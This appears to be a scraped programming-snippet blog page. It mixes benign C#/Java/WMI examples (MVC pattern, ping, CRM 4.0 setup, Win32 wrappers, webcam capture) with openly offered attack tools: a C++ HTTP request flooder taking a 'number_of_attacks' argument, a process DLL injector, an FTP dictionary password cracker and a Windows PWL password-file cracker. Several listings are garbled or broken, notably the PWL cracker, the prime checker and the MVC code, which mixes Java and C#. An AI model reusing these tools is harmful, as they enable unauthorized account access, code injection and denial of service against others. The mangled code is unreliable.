Search

MVC Pattern

MVC Pattern stands for Model-View-Controller Pattern. This pattern is used to separate application's concerns.

  • Model - Model represents an object or JAVA POJO carrying data. It can also have logic to update controller if its data changes.

  • View - View represents the visualization of the data that model contains.

  • Controller - Controller acts on both model and view. It controls the data flow into model object and updates the view whenever data changes. It keeps view and model separate.

Implementation

We are going to create a Student object acting as a model.StudentView will be a view class which can print student details on console and StudentController is the controller class responsible to store data in Student object and update view StudentView accordingly.

 

Step 1

Create Model.

Student.cs


public class Student {
private String rollNo;
private String name;

public String getRollNo() {
return rollNo;
}

public void setRollNo(String rollNo) {
this.rollNo = rollNo;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

Step 2


Create View.

StudentView.cs


public class StudentView {
public void printStudentDetails(String studentName, String studentRollNo){
Console.WriteLine("Student: ");
Console.WriteLine("Name: " + studentName);
Console.WriteLine("Roll No: " + studentRollNo);
}
}

Step 3


Create Controller.

StudentController.cs


public class StudentController {
private Student model;
private StudentView view;

public StudentController(Student model, StudentView view){
this.model = model;
this.view = view;
}

public void setStudentName(String name){
model.setName(name);
}

public String getStudentName(){
return model.getName();
}

public void setStudentRollNo(String rollNo){
model.setRollNo(rollNo);
}

public String getStudentRollNo(){
return model.getRollNo();
}

public void updateView(){
view.printStudentDetails(model.getName(), model.getRollNo());
}
}

Step 4


Use the StudentController methods to demonstrate MVC design pattern usage.

MVCPatternDemo.cs




public class MVCPatternDemo {
public static void main(String[] args) {

//fetch student record based on his roll no from the database
Student model = retriveStudentFromDatabase();

//Create a view : to write student details on console
StudentView view = new StudentView();

StudentController controller = new StudentController(model, view);

controller.updateView();

//update model data
controller.setStudentName("John");

controller.updateView();
}

private static Student retriveStudentFromDatabase(){
Student student = new Student();
student.setName("Robert");
student.setRollNo("10");
return student;
}
}



Ping IP Addresses

Small module written to replicate the ping functionality in C# code

public bool Ping (string host, int attempts, int timeout)
{
System.Net.NetworkInformation.Ping ping =
new System.Net.NetworkInformation.Ping ();
System.Net.NetworkInformation.PingReply pingReply;
for (int i = 0; i < attempts; i++)
{
try
{
pingReply = ping.Send (host, timeout);
// If there is a successful ping then return true.
if (pingReply != null &&
pingReply.Status == System.Net.NetworkInformation.IPStatus.Success)
return true;
}
catch
{
// Do nothing and let it try again until the attempts are exausted.
// Exceptions are thrown for normal ping failurs like address lookup
// failed. For this reason we are supressing errors.
}
}
// Return false if we can't successfully ping the server after several attempts.
return false;
}
view raw Ping.cs hosted with ❤ by GitHub

Complete Installation guide for CRM 4.0

Complete Installation guide for CRM 4.0 / Step by Step guide to install CRM 4.0

        Last week I installed Microsoft Dynamic 4.0 on my virtual machine and I found that it will be helpful for beginner like me, if there is a step by step installation guide. Lets start with OS selection.

1. You can use Windows Server 2003 or later server version. I had Windows Server 2003 R2.

2. Install latest service pack for OS you installed.

3. Install Internet Information Service.

4. Install Active Directory.

5. Configure DNS Server.

6. Create new user for domain and make him member of Administrators group.

7. Install SQL Server 2005 with Reporting Service and Analysis service.

8. Configure new account as service account for Report Server and Analysis server.

9. Install Visual Studio 2008.

10. Start installation of CRM 4.0

11. Enter display name for your Organization.

clip_image001

12. Next step is to select installation path, you can leave this as it is or select specific folder,

clip_image002

13. Next select website for CRM, I choose new website with different port address in my case it was 5555 as shown in image below,

clip_image003

14. Next you need to enter URL for Reporting server.

15. Next you have to select Organization Unit. Click on Browse button and select the root node of your domain in my case it is chirag.

clip_image004

16. On next step you need to specify security account, choose the one you created in step 6. Enter the password in password textbox and click next.

17. Select your local machine as Email Router setting or select specific machine on domain which you are using at email server. I chose my local machine so localhost.

18. Once you click next you will see System Requirements screen. If Domain user, SQL Server Reporting Service and ASP.NET are installed properly you will receive no error or warning else you will receive error message. I received following errors,

clip_image005

19. If you receive error message for SQL Server or SQL Server Reporting Service don’t be afraid. Open Services from Start – All Programs – Administrative Tools – Services. Check whether SQL Server Agent is running. If not right click on service and select property. Select Startup Type as Automatic and click on start button.

20. Another common error is for Indexing service. Follow the steps mention in point 19 to start Indexing Service.

21. You can see a warning mentioning Verify Domain User account SPN for the Microsoft Dynamics CRM ASP.NET Application Pool account. This will usually shows when you add specific domain account for security account in step 16.

22. If System Requirements screen show no error or warning on next step installation will be started.

23. Finally you will see following screen, this means your CRM is installed.

clip_image006

Clipboard WIn32 API for C#

PInvoke using the C#, this is a list of Win32 API to work with Clipboard
[DllImport("user32.dll")]
private static extern int OpenClipboard (int hwnd);
[DllImport("user32.dll")]
private static extern int GetClipboardData (int wFormat);
[DllImport("user32.dll", EntryPoint="GetClipboardFormatNameA")]
private static extern int GetClipboardFormatName (int wFormat, string lpString, int nMaxCount);
[DllImport("user32.dll")]
private static extern int GetClipboardOwner ();
[DllImport("user32.dll")]
private static extern int GetClipboardSequenceNumber ();
[DllImport("user32.dll")]
private static extern int GetClipboardViewer ();
[DllImport("kernel32.dll")]
private static extern int GlobalAlloc (int wFlags, int dwBytes);
[DllImport("kernel32.dll")]
private static extern int GlobalLock (int hMem);
[DllImport("kernel32.dll", EntryPoint="lstrcpyA")]
private static extern int lstrcpy (string lpString1, string lpString2);
[DllImport("kernel32.dll")]
private static extern int GlobalUnlock (int hMem);
[DllImport("user32.dll")]
private static extern int CloseClipboard ();
[DllImport("user32.dll")]
private static extern int SetClipboardData (int wFormat, int hMem);
[DllImport("user32.dll")]
private static extern int EmptyClipboard ();

Using Base Api (Win32 API) in C#

using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Compatibility;
using Microsoft.VisualBasic.Compatibility.VB6;

namespace IndiLogiX
{
 namespace Native32
 {
  public class Native32
  {

   //=========================================================
   // === External Consts: ===
   public const int vbString = 8;

   public static IntPtr GetByteFromString(String Buf)
   {
    IntPtr pBuf = System.Runtime.InteropServices.Marshal.StringToHGlobalAnsi(Buf);
    return pBuf;
   }
   public static void GetStringFromByte(ref String Buf, IntPtr pBuf)
   {
    Buf = System.Runtime.InteropServices.Marshal.PtrToStringAnsi(pBuf);
   }

   // General API functions.

   [System.Runtime.InteropServices.DllImport("shell32.dll", EntryPoint = "ShellAboutA")]
   private static extern unsafe int ShellAbout(int hwnd, IntPtr szApp, IntPtr szOtherStuff, int hIcon);
   private unsafe int ShellAboutWrp(int hwnd, string szApp, string szOtherStuff, int hIcon)
   {
    int ret;
    IntPtr pszApp = GetByteFromString(szApp);
    IntPtr pszOtherStuff = GetByteFromString(szOtherStuff);

    ret = ShellAbout(hwnd, pszApp, pszOtherStuff, hIcon);

    //VBtoConverter.GetStringFromByte(ref szApp, pszApp);
    //VBtoConverter.GetStringFromByte(ref szOtherStuff, pszOtherStuff);

    return ret;
   }



   const int HWND_TOPMOST = -1;
   const int SWP_NOACTIVATE = 0x10;
   const int SWP_SHOWWINDOW = 0x40;
   const int SWP_HIDEWINDOW = 0x80;
   const int SWP_NOZORDER = 0x4;
   const int SWP_NOMOVE = 0x2;
   const int SWP_NOREPOSITION = 0x200;
   const int SWP_NOSIZE = 0x1;

   [System.Runtime.InteropServices.DllImport("user32")]
   private static extern int SetWindowPos(int hwnd, int hWndInsertAfter, int X, int Y, int cx, int cy, int wFlags);

   [System.Runtime.InteropServices.DllImport("user32", EntryPoint = "FindWindowA")]
   private static extern unsafe int FindWindow(IntPtr lpClassName, IntPtr lpWindowName);
   private unsafe int FindWindowWrp(string lpClassName, string lpWindowName)
   {
    int ret;
    IntPtr plpClassName = GetByteFromString(lpClassName);
    IntPtr plpWindowName = GetByteFromString(lpWindowName);

    ret = FindWindow(plpClassName, plpWindowName);

    //VBtoConverter.GetStringFromByte(ref lpClassName, plpClassName);
    //VBtoConverter.GetStringFromByte(ref lpWindowName, plpWindowName);

    return ret;
   }


   [System.Runtime.InteropServices.DllImport("user32")]
   private static extern int GetForegroundWindow();

   [System.Runtime.InteropServices.DllImport("user32")]
   private static extern int GetParent(int hwnd);

   [System.Runtime.InteropServices.DllImport("user32", EntryPoint = "GetWindowTextLengthA")]
   private static extern int GetWindowTextLength(int hwnd);

   [System.Runtime.InteropServices.DllImport("user32", EntryPoint = "GetWindowTextA")]
   private static extern unsafe int GetWindowText(int hwnd, IntPtr lpString, int cch);
   private unsafe int GetWindowTextWrp(int hwnd, ref string lpString, int cch)
   {
    int ret;
    IntPtr plpString = GetByteFromString(lpString);

    ret = GetWindowText(hwnd, plpString, cch);

    GetStringFromByte(ref lpString, plpString);

    return ret;
   }


   [System.Runtime.InteropServices.DllImport("advapi32.dll")]
   private static extern unsafe int GetUserNameA(IntPtr lpBuffer, int* nSize);
   private unsafe int GetUserNameAWrp(ref string lpBuffer, ref int nSize)
   {
    int ret;
    IntPtr plpBuffer = GetByteFromString(lpBuffer);

    fixed (int* pnSize = &nSize)
    {
     ret = GetUserNameA(plpBuffer, pnSize);
    }

    GetStringFromByte(ref lpBuffer, plpBuffer);

    return ret;
   }


   private int TaskBarhWnd;


   // Exit's windows with one of the following results.
   // dwReserved = 0
   [System.Runtime.InteropServices.DllImport("user32")]
   private static extern int ExitWindowsEx(int uFlags, int dwReserved);

   const int EXIT_LOGOFF = 0;
   const int EXIT_SHUTDOWN = 1;
   const int EXIT_REBOOT = 2;

   [System.Runtime.InteropServices.DllImport("kernel32")]
   private static extern unsafe int GetComputerNameA(IntPtr lpBuffer, int* nSize);
   private unsafe int GetComputerNameAWrp(ref string lpBuffer, ref int nSize)
   {
    int ret;
    IntPtr plpBuffer = GetByteFromString(lpBuffer);

    fixed (int* pnSize = &nSize)
    {
     ret = GetComputerNameA(plpBuffer, pnSize);
    }

    GetStringFromByte(ref lpBuffer, plpBuffer);

    return ret;
   }


   // General API functions. (with no VBasic wrapper)

   // Puts the app to sleep for the given number of milliseconds
   [System.Runtime.InteropServices.DllImport("kernel32")]
   private static extern void Sleep(int dwMilliseconds);

   public void ExitWindows(int uFlags)
   {
#if def_ExitWindows
   ExitWindowsEx(uFlags, 0);
#endif // def_ExitWindows
   }


   public string GetUserName()
   {
    string GetUserName = "";
#if def_GetUserName
    char[] UserName = new char[255];

   GetUserNameAWrp(ref UserName, ref 255);
   GetUserName = Strings.Left(UserName, Strings.InStr(UserName, Chr(0), CompareMethod.Text)-1);
#endif // def_GetUserName
    return GetUserName;
   }
   // 
   // Returns the computer's name
   // 
   public string GetComputerName()
   {
    string GetComputerName = "";
#if def_GetComputerName
    char[] UserName = new char[255];

   GetComputerNameAWrp(ref UserName, ref 255);
   GetComputerName = Strings.Left(UserName, Strings.InStr(UserName, Chr(0), CompareMethod.Text)-1);
#endif // def_GetComputerName
    return GetComputerName;
   }

   // 
   // Returns the title of the active window.
   // if GetParent = true then the parent window is
   // returned.
   // 
   public string GetActiveWindowTitle(bool ReturnParent)
   {
    string GetActiveWindowTitle = "";
#if def_GetActiveWindowTitle
    int i;
    int j;

   i = GetForegroundWindow;


   if (ReturnParent) {
    while (i!=0) {
     j = i;
     i = GetParent(i);
    }

    i = j;
   }

   GetActiveWindowTitle = GetWindowTitle(i);
#endif // def_GetActiveWindowTitle
    return GetActiveWindowTitle;
   }

   public void HideTaskBar()
   {
#if def_HideTaskBar
   TaskBarhWnd = FindWindowWrp("Shell_traywnd", "");
   if (TaskBarhWnd!=0) {
    SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW);
   }
#endif // def_HideTaskBar
   }
   public void ShowTaskBar()
   {
#if def_ShowTaskBar
   if (TaskBarhWnd!=0) {
    SetWindowPos(TaskBarhWnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW);
   }
#endif // def_ShowTaskBar
   }
   // 
   // Returns the handle of the active window.
   // if GetParent = true then the parent window is
   // returned.
   // 
   public int GetActiveWindow(bool ReturnParent)
   {
    int GetActiveWindow = 0;
#if def_GetActiveWindow
    int i;
    int j;

   i = GetForegroundWindow;


   if (ReturnParent) {
    while (i!=0) {
     j = i;
     i = GetParent(i);
    }

    i = j;
   }

   GetActiveWindow = i;
#endif // def_GetActiveWindow
    return GetActiveWindow;
   }


   public string GetWindowTitle(int hwnd)
   {
    string GetWindowTitle = "";
#if def_GetWindowTitle
    int l;
    string s = "";

   l = GetWindowTextLength(hwnd);
   s = Strings.Space(l+1);

   GetWindowTextWrp(hwnd, ref s, l+1);

   GetWindowTitle = Strings.Left(s, l);
#endif // def_GetWindowTitle
    return GetWindowTitle;
   }

   // 
   // Makes a form the top window if top = True.  When top = False it removes
   // this property.
   // 
   // Public Sub TopMostForm(f As Form, Top As Boolean)
   // If Top Then
   // SetWindowPos f.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE
   // Else
   // SetWindowPos f.hwnd, 0, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE
   // End If
   // End Sub

   // 
   // Sleeps for a given number of seconds.
   // 
   public void Pause(float seconds)
   {
#if def_Pause
   Sleep(Math.Floor(Convert.ToDouble(seconds*1000.0)));
#endif // def_Pause
   }

   // 
   // Generates a standard windows About box.
   // 
   public void AboutBox(object frm)
   {
    //AboutBox(frm, null);
   }
   public void AboutBox(object frm, ref object copyright)
   {
#if def_AboutBox
   if (VarType(copyright)==VBtoConverter.vbString) {
    ShellAboutWrp(frm.hwnd, App.ProductName, copyright, frm.Icon);
   } else {
    ShellAboutWrp(frm.hwnd, App.ProductName, "", frm.Icon);
   }
#endif // def_AboutBox
   }






  }
 }
}

Finding Prime number in C#

static bool Primer(ulong x)
{
 bool result = true;
 ulong i = 2;

 while (i <= x / 2)
 {
  if (x % i == 0)
  {
   result = false;
   break;
  }
  else{
   i++;
  }
  if (x % i == 0)
  result = false;
 return result;
 }
}

webcam access through win32 API in C#

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
namespace mycam
{
public class Cam
{
[DllImport("kernel32.dll")]
private static extern void Sleep(int dwMilliseconds);
[DllImport("kernel32.dll")]
private static extern int Beep(int dwFreq, int dwDuration);
[DllImport("avicap32.dll", EntryPoint = "capCreateCaptureWindowW")]
private static extern int capCreateCaptureWindow(string lpszWindowName, int dwStyle, int x, int y, int nWidth, int nHeight, int hWndParent, int nID);
private const int WS_VISIBLE = 0x10000000;
private const int WS_CHILD = 0x40000000;
[DllImport("user32.dll", EntryPoint = "SendMessageW")]
private static extern int SendMessage(int hwnd, int wMsg, int wParam, int lParam);
[DllImport("user32.dll", EntryPoint = "SendMessageW")]
private static extern int SendMessageFL(int hwnd, int wMsg, int wParam, string lParam);
[DllImport("user32.dll", EntryPoint = "SendMessageW")]
private static extern int SendMessageSD(int hwnd, int wMsg, string wParam, int lParam);
private const int WM_USER = 0x400;
private const int WM_CAP_DRIVER_CONNECT = (WM_CAP_START + 10);
private const int WM_CAP_START = WM_USER;
private const int WM_CAP_FILE_SAVEDIBA = (WM_CAP_START + 25);
private const int WM_CAP_SET_SCALE = WM_USER + 53;
private const int WM_CAP_SET_PREVIEW = WM_USER + 50;
private const int WM_CAP_SET_PREVIEWRATE = WM_USER + 52;
private const int WM_CAP_FILE_SAVEDIB = WM_USER + 25;
private const int WM_CAP_DRIVER_DISCONNECT = WM_USER + 11;
private string _camtitle;// = "HDCam";// pointer
private int hWebcam;
private const int nDevice = 0;
private const int nFPS = 50;
private string _filename;// = "IMAGE.BMP";
public int getCAM(string cam_title,int cam_x,int cam_y,int cam_width,int cam_height,IntPtr HWNDparent,int cam_ID)
{
//Beep(2000, 50);
_camtitle = cam_title;
hWebcam = capCreateCaptureWindow(cam_title, WS_VISIBLE + WS_CHILD, cam_x, cam_y,cam_width,cam_height, HWNDparent.ToInt32(), cam_ID);
//Sleep(5000);
//inSequence(sender ,e);
return hWebcam;
}
public void makeBEEP(int FREQUENCY)
{
Beep(FREQUENCY, 50);
}
public string NewFileNAME()
{
DateTime DT = new DateTime();
DT.Date.ToString();
return "File" + DT.Date.ToString();
}
public void startCAM()
{
//makeBEEP(3000);
SendMessage(hWebcam, WM_CAP_DRIVER_CONNECT, nDevice, 0);
SendMessage(hWebcam, WM_CAP_SET_SCALE, 1, 0);
SendMessage(hWebcam, WM_CAP_SET_PREVIEWRATE, nFPS, 0);
SendMessage(hWebcam, WM_CAP_SET_PREVIEW, 1, 0);
}
public void captureCAM(string BMPfilename)
{
_filename = BMPfilename;
//string flnm = NewFileNAME();
//this.Text = flnm;
//makeBEEP(3000);
//SendMessageS(hWebcam, WM_CAP_FILE_SAVEDIBA, 0,_filename);
SendMessageFL(hWebcam, WM_CAP_FILE_SAVEDIBA, 0, _filename);
makeBEEP(3500);
//}
}
public void stopCAM()
{
//SendMessage(hWebcam, WM_CAP_DRIVER_DISCONNECT, _camtitle, 0);
SendMessageSD(hWebcam, WM_CAP_DRIVER_DISCONNECT, _camtitle, 0);
}
}
}

HTTP GET Request generator (C++)

HTTP GET Request generator isa a C++ code to generate the GET request
// HTTP GET Request generator (C++)
#include
#include
#include
BOOL InitConnection(SOCKET *wSock, char *SERV);
BOOL InitWSA();
BOOL InitSocket(SOCKET *wSock);
DWORD WINAPI RecvData(LPVOID* wSock);
int main(int argc, char** argv)
{
if(argc != 3)
{
std::cout << "Usage: www.site.com [number_of_attacks]n";
std::cout << "Example: main.exe www.cowgirls.com 100n";
exit(1);
}
SOCKET tehRock;
int number = atoi(argv[2]);
char *site = argv[1];
char buffert[65000];
//CreateThread(NULL, 0, LPTHREAD_START_ROUTINE(RecvData), (LPVOID)tehRock, 0, NULL);
for(int i = 0; i < number; i++)
{
if(InitWSA() == true)
std::cout << "WS2_32.DLL loadedn";
Sleep(20);
if(InitSocket(&tehRock) == true)
std::cout << "Socket created.n";
Sleep(20);
if(InitConnection((SOCKET*)tehRock, site) == true)
std::cout << "Connected.n";
Sleep(20);
send(tehRock, "GET / HTTP/1.0rnrn", 19, 0);
std::cout << "Sending HTTP GET REQUESTn";
while(recv(tehRock, buffert, sizeof(buffert), 0) > 0)
std::cout << buffert;
}
}
DWORD WINAPI RecvData(LPVOID* wSock)
{
SOCKET socket = (SOCKET)wSock;
char data[65356];
ZeroMemory(&data, sizeof(data));
std::cout << "Thread successfully created.n";
while(1)
{
if(recv(socket, data, sizeof(data), 0) > 0)
std::cout << data;
Sleep(1);
}
}
BOOL InitConnection(SOCKET *wSock, char *SERV)
{
int port = 80;
struct hostent *host;
struct sockaddr_in sin;
int error;
host = gethostbyname(SERV);
memset( &sin, 0, sizeof sin );
sin.sin_family = AF_INET;
sin.sin_addr = *((in_addr *)host->h_addr);
sin.sin_port = htons(port);
error = connect((SOCKET)wSock, (sockaddr*)&sin, sizeof sin);
if(error != 0)
return false;
return true;
}
BOOL InitSocket(SOCKET *wSock)
{
*wSock = socket(AF_INET, SOCK_STREAM, 0);
if((SOCKET)wSock == INVALID_SOCKET)
return false;
return true;
}
BOOL InitWSA()
{
WSADATA wsaData;
WORD version;
version = MAKEWORD(2, 2);
int error;
error = WSAStartup(version, &wsaData);
if(error != 0)
return false;
if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
WSACleanup();
return false;
}
return true;
}

WMI: Get User Name

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colComputer = objWMIService.ExecQuery _
("Select * from Win32_ComputerSystem")
For Each objComputer in colComputer
Wscript.Echo "User Name = " & objComputer.UserName _
& VBNewLine & "Computer Name = " & objComputer.Name
WScript.Echo objComputer.UserName
Next

DLL injection with GUI

Example of DLL injection with a GUI in c++
//DLL injection with GUI
#include
#include
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd;
MSG messages;
WNDCLASSEX wincl;
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure;
wincl.style = CS_DBLCLKS;
wincl.cbSize = sizeof (WNDCLASSEX);
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND+7;
if (!RegisterClassEx (&wincl))
return 0;
hwnd = CreateWindowEx (
0,
szClassName,
"The Game Injector ",
WS_SYSMENU|WS_VISIBLE,
CW_USEDEFAULT,
CW_USEDEFAULT,
400,
200,
HWND_DESKTOP,
NULL,
hThisInstance,
NULL
);
while (GetMessage (&messages, NULL, 0, 0))
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}
return messages.wParam;
}
HWND Input1,Input2;
HWND Inject;
BOOL SetPrivilege(LPSTR type) // more flexible
{
HANDLE Htoken;
TOKEN_PRIVILEGES tokprivls;
if(!OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Htoken)){
return 0;
}
tokprivls.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, type, &tokprivls.Privileges[0].Luid);
tokprivls.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL Success =AdjustTokenPrivileges( Htoken, FALSE, &tokprivls, sizeof(tokprivls), NULL, NULL);
CloseHandle(Htoken);
return Success;
}
HANDLE GetHandle(char *proc)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
Process32First(Snap,&pe32);
do{
if(stricmp(pe32.szExeFile,proc)==0)
{
SetPrivilege(SE_DEBUG_NAME);
return OpenProcess(PROCESS_ALL_ACCESS,0,pe32.th32ProcessID);
}}while(Process32Next(Snap,&pe32));CloseHandle(Snap);
}
void InjectDll(char* Name, char *path)
{
HANDLE hProcess = GetHandle(Name);
if(hProcess){
int DllPath = strlen(path) + 20;
LPVOID MemSp = VirtualAllocEx(hProcess,NULL,DllPath,MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hProcess,MemSp,path,DllPath,NULL);
HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)GetProcAddress(LoadLi
brary("Kernel32.dll"), "LoadLibraryA"), MemSp, 0, NULL);
if(hThread){
WaitForSingleObject(hThread, 30000);
CloseHandle(hThread);
}
VirtualFreeEx(hProcess, MemSp, 0, MEM_RELEASE);
}
else {MessageBox(0,"Could not get the process handle .",0,0);}
}
char proc[50],dll[260];
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
HWND hBmpStat;
HBITMAP hBitmap;
HFONT hFont ;
switch (message)
{
case WM_CREATE:
hFont = CreateFont(20, 0, 0, 10, FW_DONTCARE, 0, 0, 0, ANSI_CHARSET, OUT_TT_PRECIS, CLIP_TT_ALWAYS, DEFAULT_QUALITY, FF_DONTCARE, "Microsoft Sans MS");
hBitmap = (HBITMAP) LoadImage(NULL, "C:\\WINDOWS\\system32\\setup.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE);
// zomfg h4x
hBmpStat = CreateWindowEx(0,"Static","",WS_VISIBLE | WS_CHILD | SS_BITMAP,
-200,-220,0,0,hwnd,0,0,0);
SendMessage(hBmpStat, STM_SETIMAGE, IMAGE_BITMAP, (LPARAM) hBitmap);
Inject = CreateWindow("Button","INJECT",WS_CHILD | WS_VISIBLE | WS_BORDER,
190, 20, 180, 38,hwnd,(HMENU)100,0,NULL);
Input1 = CreateWindow("Edit", "wmplayer.exe",WS_CHILD | WS_VISIBLE | WS_BORDER,
10, 20, 180,18,hwnd,0,0,NULL);
Input2 = CreateWindow("Edit", "c:\\sample.dll",WS_CHILD | WS_VISIBLE | WS_BORDER,
10, 40, 180,18,hwnd,0,0,NULL);
SendMessage(Inject,WM_SETFONT,WPARAM(hFont),0);
break;
case WM_DESTROY:
PostQuitMessage (0);
break;
case WM_COMMAND:
switch(LOWORD(wParam))
{
case 100:
SendMessage(Input1,WM_GETTEXT,sizeof(proc),LPARAM(proc));
if(proc!=0)
{
SendMessage(Input2,WM_GETTEXT,sizeof(dll),LPARAM(dll));
if(dll!=0)
InjectDll(proc,dll);
}break;
default:break;
}break;
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}

WMI: Rename a Computer

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colComputers = objWMIService.ExecQuery _
("Select * from Win32_ComputerSystem")
For Each objComputer in colComputers
errReturn = ObjComputer.Rename("NewName")
WScript.Echo "Computer name is now " & objComputer.Name
Next

Crack FTP Account using Dictionary (C++)

An example of how to crack an FTP account using the Dictionary attack
//Crack FTP Account using Dictionary (C++)
#include
#include
int wsend(SOCKET sock,char*msg,...)
{
char szBuffer[256];
va_list va;
va_start (va, msg);
vsprintf (szBuffer, msg, va);
va_end (va);
return ( send(sock,szBuffer,strlen(szBuffer),0 ) );
}
BOOL CheckValidation(struct sockaddr_in sock_in,char*szUser,char*szPass)
{
BOOL bResult=0;
char szBuffer[256];
SOCKET sock = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP);
if(sock!=INVALID_SOCKET)
if( connect(sock,(struct sockaddr*)&sock_in,sizeof(sock_in))==0)
if(recv(sock,szBuffer,256,0)!=SOCKET_ERROR)
if(strstr(szBuffer,"220"))
{
if(wsend(sock,"USER %s\r\n",szUser)!=SOCKET_ERROR)
if(recv(sock,szBuffer,256,0)!=SOCKET_ERROR)
if(strstr(szBuffer,"331"))
{
if(wsend(sock,"PASS %s\r\n",szPass)!=SOCKET_ERROR)
if(recv(sock,szBuffer,256,0)!=SOCKET_ERROR)
if(strstr(szBuffer,"230"))
bResult = 1;
}else printf("No such user ( %s )\r\n",szUser);
}else printf("ftp server not ready \r\n");
Sleep(100);
closesocket(sock);
return bResult;
}
int main()
{
char*szBuffer;
WSADATA wdata;
struct sockaddr_in s_in;
s_in.sin_family=AF_INET;
s_in.sin_port =htons(21);
char szFile[25]="test.txt",
szUser[25]="UserName",
*pntr;
BOOL bResult=0;
HANDLE hFile = CreateFile(szFile,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if(hFile!=INVALID_HANDLE_VALUE)
{
DWORD dwSize = GetFileSize(hFile,0),
dwReadBytes=0;
if(dwSize!=0)
{
szBuffer=(char*)malloc(dwSize+20);
if(szBuffer!=0)
{
if( ReadFile(hFile,szBuffer,dwSize,&dwReadBytes,0) )
{
if(dwReadBytes==dwSize)
{
if ( !WSAStartup(0x202,&wdata) )
{
LPHOSTENT honte = gethostbyname("ftp.server.net");
if( honte )
{
s_in.sin_addr=*((LPIN_ADDR)*honte->h_addr_list);
pntr=strtok(szBuffer,"\r\n");//ignore first line
while(0 !=pntr)
if( 0!=(pntr=strtok(NULL,"\r\n")))
if(CheckValidation(s_in,szUser,pntr))
{
printf("User cridentials matched .'%s' '%s' \r\n",szUser,pntr);
break;
}
else printf("No match with user '%s' with password '%s'\r\n",szUser,pntr);
}else printf("Unable to resolve given address\r\n");
}WSACleanup();
}else printf("Failed to read complete file\r\n");
}else printf("Unable to read file\r\n");
free(szBuffer);
}else printf("Unable to allocate necessary memory\r\n");
}else printf("Unable to get file size\r\n");
}else printf("Error Opening File\r\n");
CloseHandle(hFile);
printf("Finished try.Press any key to exit\r\n");
getch();
return 0;
}

Get the computer password (C++)

//Get the computer password
# include
# include
# include
# include
# include
# include
# include

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; Resourse allocation table 

if(argc<2){
printf("usage: glide filename (username)");
exit(1);
}
Read PWL file 

fd=fopen(argv[1],"rb");
if(fd==NULL){
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)){
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

Find Username 
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s
",name);

Copy encrypted text into keystream 
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);

Generate 20 bytes of keystream 
for(i=0;i<20;i++){
ch=toupper(name);
if(ch==0)break;
if(ch=='.')break;
keystream^=ch;
};
cracked=20;

Find allocated resources 

sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:%04X
",sizemask);

for(i=0;i<256;i++){
if(Data!=0xff){
Rall[Data]++;
if(Data>maxr)maxr=Data;
}
}

maxr=(((maxr/16)+1)*16); Resourse pointer table size appears to be
divisible by 16 

Search after resources 

Rpoint[0]=0x0208+2*maxr+20+2; First resources 
for(i=0;i;
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analysing block with size:%04x (%d:%d)
",rsz,i,Rall);
if((Rall==0)&&(rsz!=0)){
printf("Unused resourse has nonzero size!!!
");
printf("If last line produed any:You may try to recover
");
printf("Press y to attempt the recovery
");
ch=getch();
if(ch!='y')exit(0);
rsz=2;
i=i-1;
}
pos=pos+rsz;

Resourse have a tedency to have the wrong size for some reason
Chech for correct size

if(i & 0x00ff;
keystream[21+2*i]^=(Rpoint>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd 
",cracked);

Decrypt resources 
for(i=0;i;
if(rsz>cracked)rsz=cracked;
printf("Resource[%d](%d)
",i,rsz);
